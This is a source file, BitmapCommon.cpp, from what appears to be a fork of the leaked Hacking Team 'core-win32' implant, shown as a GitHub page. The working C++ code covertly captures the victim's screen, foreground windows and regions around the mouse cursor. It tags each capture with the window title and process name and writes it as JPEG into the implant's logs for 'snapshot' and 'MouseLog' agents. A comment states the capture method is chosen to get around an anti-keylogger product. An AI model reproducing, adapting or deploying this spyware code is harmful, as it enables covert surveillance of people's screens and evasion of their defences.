forked from hackedteam/core-win32
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathBitmapCommon.cpp
475 lines (413 loc) · 14.8 KB
/
BitmapCommon.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
#include "H4-DLL.h"
#include "HM_BitmapCommon.h"
#include "common.h"
#include "demo_functions.h"
#include "LOG.h"
#include <gdiplus.h>
using namespace Gdiplus;
BOOL IsAero()
{
HKEY hKey;
DWORD composition=0, len=sizeof(DWORD);
if(FNC(RegOpenKeyExW)(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\DWM", 0, KEY_READ, &hKey) != ERROR_SUCCESS)
return FALSE;
if(FNC(RegQueryValueExW)(hKey, L"Composition", NULL, NULL, (BYTE *)&composition, &len) != ERROR_SUCCESS) {
FNC(RegCloseKey)(hKey);
return FALSE;
}
FNC(RegCloseKey)(hKey);
if (composition==0)
return FALSE;
return TRUE;
}
int GetEncoderClsid(const WCHAR* format, CLSID* pClsid)
{
UINT num = 0; // number of image encoders
UINT size = 0; // size of the image encoder array in bytes
ImageCodecInfo* pImageCodecInfo = NULL;
GetImageEncodersSize(&num, &size);
if(size == 0)
return -1; // Failure
pImageCodecInfo = (ImageCodecInfo*)(malloc(size));
if(pImageCodecInfo == NULL)
return -1; // Failure
GetImageEncoders(num, size, pImageCodecInfo);
for(UINT j = 0; j < num; ++j) {
if( wcscmp(pImageCodecInfo[j].MimeType, format) == 0 )
{
*pClsid = pImageCodecInfo[j].Clsid;
free(pImageCodecInfo);
return j; // Success
}
}
free(pImageCodecInfo);
return -1; // Failure
}
BYTE *JpgConvert(BYTE *dataptr, DWORD imageSize, DWORD *sizeDst, DWORD quality)
{
HGLOBAL hBuffer = NULL, hBufferDst = NULL;
void *pBuffer = NULL, *pBufferDst = NULL;
IStream *pStream = NULL, *pStreamDst = NULL;
BYTE *dataptrDst = NULL;
GdiplusStartupInput gdiplusStartupInput;
ULONG_PTR gdiplusToken;
CLSID encoderClsid;
Image *image = NULL;
EncoderParameters encoderParameters;
if (!sizeDst)
return NULL;
*sizeDst = 0;
CoInitialize(NULL);
if (GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL) != Ok) {
CoUninitialize();
return NULL;
}
if (GetEncoderClsid(L"image/jpeg", &encoderClsid) == -1) {
GdiplusShutdown(gdiplusToken);
CoUninitialize();
return NULL;
}
encoderParameters.Count = 1;
encoderParameters.Parameter[0].Guid = EncoderQuality;
encoderParameters.Parameter[0].Type = EncoderParameterValueTypeLong;
encoderParameters.Parameter[0].NumberOfValues = 1;
encoderParameters.Parameter[0].Value = &quality;
hBuffer = GlobalAlloc(GMEM_MOVEABLE, imageSize);
if (!hBuffer) {
GdiplusShutdown(gdiplusToken);
CoUninitialize();
return NULL;
}
pBuffer = GlobalLock(hBuffer);
if (!pBuffer) {
GlobalFree(hBuffer);
GdiplusShutdown(gdiplusToken);
CoUninitialize();
return NULL;
}
CopyMemory(pBuffer, dataptr, imageSize);
if (FNC(CreateStreamOnHGlobal)(hBuffer, FALSE, &pStream) == S_OK) {
image = new Image(pStream);
if (image) {
if (hBufferDst = GlobalAlloc(GMEM_MOVEABLE, imageSize)) {
if (pBufferDst = GlobalLock(hBufferDst)) {
if (FNC(CreateStreamOnHGlobal)(hBufferDst, FALSE, &pStreamDst) == S_OK) {
if (image->Save(pStreamDst, &encoderClsid, &encoderParameters) == Ok) {
ULARGE_INTEGER position;
LARGE_INTEGER null_int;
DWORD dummy;
null_int.HighPart = null_int.LowPart = 0;
if (pStreamDst->Seek(null_int, STREAM_SEEK_CUR, &position) == S_OK) {
if (dataptrDst = (BYTE *)malloc(position.LowPart)) {
*sizeDst = position.LowPart;
pStreamDst->Seek(null_int, STREAM_SEEK_SET, &position);
pStreamDst->Read(dataptrDst, *sizeDst, &dummy);
}
}
}
pStreamDst->Release();
}
GlobalUnlock(hBufferDst);
}
GlobalFree(hBufferDst);
}
delete image;
}
pStream->Release();
}
GlobalUnlock(hBuffer);
GlobalFree(hBuffer);
GdiplusShutdown(gdiplusToken);
CoUninitialize();
return dataptrDst;
}
void BmpToJpgLog(DWORD agent_tag, BYTE *additional_header, DWORD additional_len, BITMAPINFOHEADER *pBMI, size_t cbBMI, BYTE *pData, size_t cbData, DWORD quality)
{
HANDLE hf;
BITMAPFILEHEADER bmf = { };
BYTE *source_bmp = NULL, *dest_jpg = NULL;
DWORD bmp_size, jpg_size;
if (pBMI->biHeight * pBMI->biWidth * pBMI->biBitCount / 8 != cbData)
return;
bmf.bfType = 'MB';
bmf.bfSize = cbBMI+ cbData + sizeof(bmf);
bmf.bfOffBits = sizeof(bmf) + cbBMI;
bmp_size = bmf.bfOffBits + cbData;
if (!(source_bmp = (BYTE *)malloc(bmp_size)))
return;
memcpy(source_bmp, &bmf, sizeof(bmf));
memcpy(source_bmp+sizeof(bmf), pBMI, cbBMI);
memcpy(source_bmp+sizeof(bmf)+cbBMI, pData, cbData);
if (dest_jpg = JpgConvert(source_bmp, bmp_size, &jpg_size, quality)) {
hf = Log_CreateFile(agent_tag, additional_header, additional_len);
Log_WriteFile(hf, (BYTE *)dest_jpg, jpg_size);
Log_CloseFile(hf);
}
SAFE_FREE(source_bmp);
SAFE_FREE(dest_jpg);
}
// Esegue uno snpashot dello schermo
// Questa funzione e' usata anche dall'agente URL
void TakeSnapShot(HWND grabwind, BOOL only_window, DWORD quality)
{
HDC hdccap = 0, g_hScrDC = 0;
HBITMAP hbmcap = 0;
DWORD g_xscdim, g_yscdim, g_xmirr, g_ymirr, x_start;
BITMAPINFOHEADER bmiHeader;
DWORD *pdwFullBits = NULL;
HGDIOBJ gdiold = 0;
BOOL is_aero;
WINDOWINFO wininfo;
int winx, winy;
// Tutto il display. Viene calcolato dalla foreground window
// per aggirare AdvancedAntiKeylogger
if (!grabwind)
if (!(grabwind = GetForegroundWindow()))
return;
// Se dobbiamo prendere lo schermo intero su Aero prende il DC dello
is_aero = IsAero();
if (is_aero && !only_window) {
g_hScrDC = GetDC(NULL);
wininfo.cbSize = sizeof(wininfo);
if (!FNC(GetWindowInfo)(FNC(GetDesktopWindow)(), &wininfo)) {
if (g_hScrDC) ReleaseDC(NULL, g_hScrDC);
return;
}
wininfo.rcClient.left = 0;
wininfo.rcClient.top = 0;
wininfo.rcClient.right = GetSystemMetrics(SM_CXSCREEN);
wininfo.rcClient.bottom = GetSystemMetrics(SM_CYSCREEN);
} else {
g_hScrDC = GetDC(grabwind);
wininfo.cbSize = sizeof(wininfo);
if (!FNC(GetWindowInfo)(grabwind, &wininfo)) {
if (g_hScrDC) ReleaseDC(grabwind, g_hScrDC);
return;
}
}
if (only_window) {
// Clipping per le finestre maximized o che escono dallo schermo
if (wininfo.rcWindow.left < 0)
wininfo.rcWindow.left = 0;
if (wininfo.rcWindow.top < 0)
wininfo.rcWindow.top = 0;
if (wininfo.rcWindow.right > GetSystemMetrics(SM_CXSCREEN))
wininfo.rcWindow.right = GetSystemMetrics(SM_CXSCREEN);
if (wininfo.rcWindow.bottom > GetSystemMetrics(SM_CYSCREEN))
wininfo.rcWindow.bottom = GetSystemMetrics(SM_CYSCREEN);
if (wininfo.rcWindow.left >= wininfo.rcWindow.right) {
if (g_hScrDC) ReleaseDC(grabwind, g_hScrDC);
return;
}
if (wininfo.rcWindow.top >= wininfo.rcWindow.bottom) {
if (g_hScrDC) ReleaseDC(grabwind, g_hScrDC);
return;
}
g_xscdim = wininfo.rcWindow.right - wininfo.rcWindow.left;
g_yscdim = wininfo.rcWindow.bottom - wininfo.rcWindow.top;
g_ymirr = g_yscdim;
if (wininfo.dwExStyle & WS_EX_LAYOUTRTL) {
winx = -(wininfo.rcWindow.right - wininfo.rcClient.right);
winy = -(wininfo.rcClient.top - wininfo.rcWindow.top);;
x_start = g_xscdim-1;
g_xmirr = -g_xscdim;
} else {
winx = -(wininfo.rcClient.left - wininfo.rcWindow.left);
winy = -(wininfo.rcClient.top - wininfo.rcWindow.top);
x_start = 0;
g_xmirr = g_xscdim;
}
} else {
g_xscdim = GetSystemMetrics(SM_CXSCREEN);
g_yscdim = GetSystemMetrics(SM_CYSCREEN);
if (wininfo.dwExStyle & WS_EX_LAYOUTRTL) {
winx = -(g_xscdim - wininfo.rcClient.right);
winy = -wininfo.rcClient.top;
x_start = g_xscdim-1;
g_xmirr = -g_xscdim;
g_ymirr = g_yscdim;
} else {
winx = -wininfo.rcClient.left;
winy = -wininfo.rcClient.top;
x_start = 0;
g_xmirr = g_xscdim;
g_ymirr = g_yscdim;
}
}
// Alloca la bitmap di dimensione sicuramente superiore a quanto sara'
if ( !(pdwFullBits = (DWORD *)malloc(g_xscdim * g_yscdim * sizeof(DWORD))) ) {
if (is_aero && !only_window) {
if (g_hScrDC) ReleaseDC(NULL, g_hScrDC);
} else {
if (g_hScrDC) ReleaseDC(grabwind, g_hScrDC);
}
return;
}
// Settaggi per il capture dello screen
ZeroMemory(&bmiHeader, sizeof(BITMAPINFOHEADER));
bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
bmiHeader.biWidth = g_xscdim;
bmiHeader.biHeight = g_yscdim;
bmiHeader.biPlanes = 1;
bmiHeader.biBitCount = 16;
bmiHeader.biCompression = BI_RGB;
bmiHeader.biSizeImage = bmiHeader.biWidth * bmiHeader.biHeight * (bmiHeader.biBitCount/8);
// Crea un DC memory
hdccap = CreateCompatibleDC(NULL);
hbmcap = CreateCompatibleBitmap(g_hScrDC, g_xscdim, g_yscdim);
// Copia lo schermo nella bitmap
gdiold = SelectObject(hdccap, hbmcap);
//BitBlt(hdccap, 0, 0, g_xscdim, g_yscdim, g_hScrDC, -winx, -winy, SRCCOPY);
StretchBlt(hdccap, x_start, 0, g_xmirr, g_ymirr, g_hScrDC, winx, winy, g_xscdim, g_yscdim, SRCCOPY);
if (FNC(GetDIBits)(hdccap, hbmcap, 0, g_yscdim, (BYTE *)pdwFullBits, (BITMAPINFO *)&bmiHeader, DIB_RGB_COLORS)) {
// Prende il titolo della finestra
WCHAR svTitle[SMLSIZE];
memset(svTitle, 0, sizeof(svTitle));
if (HM_SafeGetWindowTextW(grabwind, (LPWSTR)svTitle, SMLSIZE-2) == 0)
wsprintfW((LPWSTR)svTitle, L"UNKNOWN");
//Prende il nome della finestra e del processo per scriverlo nell'header
DWORD dwProcessId = 0;
WCHAR *proc_name = NULL;
SnapshotAdditionalData *snap_additional_header;
BYTE *log_header;
DWORD additional_len;
FNC(GetWindowThreadProcessId)(grabwind, &dwProcessId);
if (!dwProcessId || !(proc_name = HM_FindProcW(dwProcessId)))
proc_name = wcsdup(L"UNKNOWN");
additional_len = sizeof(SnapshotAdditionalData) + wcslen(proc_name)*sizeof(WCHAR) + wcslen(svTitle)*sizeof(WCHAR);
log_header = (BYTE *)malloc(additional_len);
if (log_header) {
// Crea l'header addizionale
snap_additional_header = (SnapshotAdditionalData *)log_header;
snap_additional_header->uVersion = LOG_SNAP_VERSION;
snap_additional_header->uProcessNameLen = wcslen(proc_name)*sizeof(WCHAR);
snap_additional_header->uWindowNameLen = wcslen(svTitle)*sizeof(WCHAR);
log_header+=sizeof(SnapshotAdditionalData);
memcpy(log_header, proc_name, snap_additional_header->uProcessNameLen);
log_header+=snap_additional_header->uProcessNameLen;
memcpy(log_header, svTitle, snap_additional_header->uWindowNameLen);
//Output su file
BmpToJpgLog(PM_SNAPSHOTAGENT, (BYTE *)snap_additional_header, additional_len, &bmiHeader, sizeof(BITMAPINFOHEADER), (BYTE *)pdwFullBits, bmiHeader.biSizeImage, quality);
SAFE_FREE(snap_additional_header);
}
SAFE_FREE(proc_name);
}
// Rilascio oggetti....
if (gdiold) DeleteObject(gdiold);
if (hbmcap) DeleteObject(hbmcap);
if (hdccap) DeleteDC(hdccap);
if (is_aero && !only_window) {
if (g_hScrDC) ReleaseDC(NULL, g_hScrDC);
} else {
if (g_hScrDC) ReleaseDC(grabwind, g_hScrDC);
}
SAFE_FREE(pdwFullBits);
}
// Esegue uno snpashot di una porzione dello schermo
// Questa funzione e' usata dall'agente MouseLog
void TakeMiniSnapShot(DWORD agent_tag, HWND grabwind, int xPos, int yPos, DWORD g_xscdim, DWORD g_yscdim)
{
HDC hdccap = 0, g_hScrDC = 0;
HBITMAP hbmcap = 0;
DWORD g_xmirr, g_ymirr, x_start;
BITMAPINFOHEADER bmiHeader;
DWORD *pdwFullBits = NULL;
HGDIOBJ gdiold = 0;
WINDOWINFO wininfo;
int winx, winy;
int abs_x, abs_y;
DWORD dwProcessId = 0;
WCHAR *proc_name = NULL;
MouseAdditionalData *mouse_additional_header;
BYTE *log_header;
DWORD additional_len;
// Controllo di validita' dei parametri
if (g_xscdim == 0 || g_yscdim == 0 ||
xPos > GetSystemMetrics(SM_CXSCREEN) || yPos > GetSystemMetrics(SM_CYSCREEN) ||
xPos < 0 || yPos < 0)
return;
// Le coordinate passate alla funzione sono relative a
// questa finestra
if (!grabwind)
return;
g_hScrDC = GetDC(grabwind);
wininfo.cbSize = sizeof(wininfo);
if (!FNC(GetWindowInfo)(grabwind, &wininfo)) {
if (g_hScrDC) ReleaseDC(grabwind, g_hScrDC);
return;
}
winx = xPos - (g_xscdim/2);
winy = yPos - (g_yscdim/2);
if (wininfo.dwExStyle & WS_EX_LAYOUTRTL) {
abs_x = wininfo.rcClient.right - xPos;
abs_y = wininfo.rcClient.top + yPos;
x_start = g_xscdim-1;
g_xmirr = -g_xscdim;
g_ymirr = g_yscdim;
} else {
abs_x = wininfo.rcClient.left + xPos;
abs_y = wininfo.rcClient.top + yPos;
x_start = 0;
g_xmirr = g_xscdim;
g_ymirr = g_yscdim;
}
// Alloca la bitmap di dimensione sicuramente superiore a quanto sara'
if ( !(pdwFullBits = (DWORD *)malloc(g_xscdim * g_yscdim * sizeof(DWORD))) ) {
if (g_hScrDC) ReleaseDC(grabwind, g_hScrDC);
return;
}
// Settaggi per il capture dello screen
ZeroMemory(&bmiHeader, sizeof(BITMAPINFOHEADER));
bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
bmiHeader.biWidth = g_xscdim;
bmiHeader.biHeight = g_yscdim;
bmiHeader.biPlanes = 1;
bmiHeader.biBitCount = 16;
bmiHeader.biCompression = BI_RGB;
bmiHeader.biSizeImage = bmiHeader.biWidth * bmiHeader.biHeight * (bmiHeader.biBitCount/8);
// Crea un DC memory
hdccap = CreateCompatibleDC(NULL);
hbmcap = CreateCompatibleBitmap(g_hScrDC, g_xscdim, g_yscdim);
// Copia lo schermo nella bitmap
gdiold = SelectObject(hdccap, hbmcap);
//BitBlt(hdccap, 0, 0, g_xscdim, g_yscdim, g_hScrDC, -winx, -winy, SRCCOPY);
StretchBlt(hdccap, x_start, 0, g_xmirr, g_ymirr, g_hScrDC, winx, winy, g_xscdim, g_yscdim, SRCCOPY);
if (FNC(GetDIBits)(hdccap, hbmcap, 0, g_yscdim, (BYTE *)pdwFullBits, (BITMAPINFO *)&bmiHeader, DIB_RGB_COLORS)) {
// Prende il titolo della finestra
WCHAR svTitle[SMLSIZE];
memset(svTitle, 0, sizeof(svTitle));
if (HM_SafeGetWindowTextW(grabwind, (LPWSTR)svTitle, SMLSIZE-2) == 0)
wsprintfW((LPWSTR)svTitle, L"UNKNOWN");
//Prende il nome del processo per scriverlo nell'header
FNC(GetWindowThreadProcessId)(grabwind, &dwProcessId);
if (!dwProcessId || !(proc_name = HM_FindProcW(dwProcessId)))
proc_name = wcsdup(L"UNKNOWN");
additional_len = sizeof(MouseAdditionalData) + wcslen(proc_name)*sizeof(WCHAR) + wcslen(svTitle)*sizeof(WCHAR);
log_header = (BYTE *)malloc(additional_len);
if (log_header) {
// Crea l'header addizionale
mouse_additional_header = (MouseAdditionalData *)log_header;
mouse_additional_header->uVersion = LOG_MOUSE_VERSION;
mouse_additional_header->xPos = abs_x;
mouse_additional_header->yPos = abs_y;
mouse_additional_header->max_x = GetSystemMetrics(SM_CXSCREEN);
mouse_additional_header->max_y = GetSystemMetrics(SM_CYSCREEN);
mouse_additional_header->uProcessNameLen = wcslen(proc_name)*sizeof(WCHAR);
mouse_additional_header->uWindowNameLen = wcslen(svTitle)*sizeof(WCHAR);
log_header+=sizeof(MouseAdditionalData);
memcpy(log_header, proc_name, mouse_additional_header->uProcessNameLen);
log_header+=mouse_additional_header->uProcessNameLen;
memcpy(log_header, svTitle, mouse_additional_header->uWindowNameLen);
//Output su file
BmpToJpgLog(agent_tag, (BYTE *)mouse_additional_header, additional_len, &bmiHeader, sizeof(BITMAPINFOHEADER), (BYTE *)pdwFullBits, bmiHeader.biSizeImage, 50);
SAFE_FREE(mouse_additional_header);
}
SAFE_FREE(proc_name);
}
// Rilascio oggetti....
if (gdiold) DeleteObject(gdiold);
if (hbmcap) DeleteObject(hbmcap);
if (hdccap) DeleteDC(hdccap);
if (g_hScrDC) ReleaseDC(grabwind, g_hScrDC);
SAFE_FREE(pdwFullBits);
}